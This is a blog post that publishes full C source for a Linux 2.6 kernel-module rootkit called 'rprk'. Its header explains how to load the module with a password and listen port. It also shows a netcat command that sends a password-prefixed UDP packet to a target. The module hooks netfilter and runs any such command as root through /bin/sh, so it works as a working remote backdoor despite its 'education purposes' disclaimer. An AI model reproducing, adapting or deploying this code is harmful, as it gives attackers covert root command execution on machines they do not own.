Friday, October 13, 2006

rockprincess rootkit

/*
* rprk 0.1 - a simple rootkit for linux 2.6
*
* this programm is only for education purposes designed,
* you are _not_ allowed to distribute this programm.
*
* usage:
* compile the module for you target hosts kernel.
* load the module with the parameters "password" and "listen_port",
* e.g: insmod rprk.ko password=lamo listen_port=5555
* now you can control the target host.
* the rootkit even bypasses linux's netfilter.
* e.g: echo "lamotouch /rp_was_here"|netcat -u target.host.com 5555
* this will execute the command "touch /rp_was_here" on target.host.com.
*
*/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

struct exec_work {
struct work_struct work;
char *command;
};

static char password[256];
static char clisten_port[17];
static long listen_port;

static void exec_func(void *data)
{
struct exec_work *exec_work = data;
char *argv[] = { "/bin/sh", "-c", exec_work->command, NULL };
static char *envp[] = { "HOME=/", "TERM=linux",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/local/bin:/usr/local/sbin", NULL };

call_usermodehelper("/bin/sh", argv, envp, 0);
}

module_param_string(password, password, 256, 0);
MODULE_PARM_DESC(password, " password=secret\n");
module_param_string(listen_port, clisten_port, 17, 0);
MODULE_PARM_DESC(listen_port, " listen_port=6666\n");

static inline int execute_command(char *cmd)
{
struct exec_work *exec_work;

exec_work = kmalloc(sizeof(struct exec_work), GFP_ATOMIC);
exec_work->command = kmalloc(1024 * sizeof(char), GFP_ATOMIC);

INIT_WORK(&exec_work->work, exec_func, exec_work);

strncpy(exec_work->command, cmd, strlen(cmd) + 1);
schedule_work(&exec_work->work);

return 0;
}

static unsigned int hook_handle(unsigned int hooknum,
struct sk_buff **skb_p,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
struct sk_buff *skb = *skb_p;
struct iphdr *iph = skb->nh.iph;
struct udphdr *udph = (struct udphdr *)(skb->data + iph->ihl * 4);
unsigned int payload_offset = (iph->ihl * 4) + 8;
char *payload = skb->data + payload_offset;
char *sent_passwd, *sent_command;
int i, passwdlen, sent_strlen = skb->len - payload_offset;

if (iph->protocol != IPPROTO_UDP)
goto out;

if(!(ntohs(udph->dest) == listen_port))
goto out;

if(sent_strlen > 1024)
sent_strlen = 1024;

passwdlen = strlen(password);

if(sent_strlen < 1 || sent_strlen < passwdlen)
goto out;

if(!(sent_passwd = kmalloc(passwdlen * sizeof(char) + 1, GFP_ATOMIC)))
goto out1;

if(!(sent_command = kmalloc((sent_strlen - passwdlen) * sizeof(char) + 1, GFP_ATOMIC)))
goto out0;

for (i = 0; i < passwdlen; i++)
sent_passwd[i] = payload[i];
for (i = 0 ; i < sent_strlen - passwdlen; i++){
if(payload[i + passwdlen] == '\n'){
sent_command[i] = '\0';
break;
}
sent_command[i] = payload[i + passwdlen];
}

if(strncmp(sent_passwd, password, passwdlen) == 0){
execute_command(sent_command);
}

out0:
kfree(sent_command);
out1:
kfree(sent_passwd);
out:
return NF_ACCEPT;
}

static struct nf_hook_ops rprk_ops = {
.hook = hook_handle,
.owner = THIS_MODULE,
.pf = PF_INET,
.hooknum = NF_IP_LOCAL_IN,
.priority = NF_IP_PRI_FIRST
};

static int __init init(void)
{
int err;

listen_port = simple_strtol(clisten_port, NULL, 0);

if(!password)
return 1;
if(!(listen_port > 0 && listen_port < 65536))
return 1;

err = nf_register_hook(&rprk_ops);
if(err < 0)
return err;

return 0;
}

static void __exit fini(void)
{
nf_unregister_hook(&rprk_ops);
}

module_init(init);
module_exit(fini);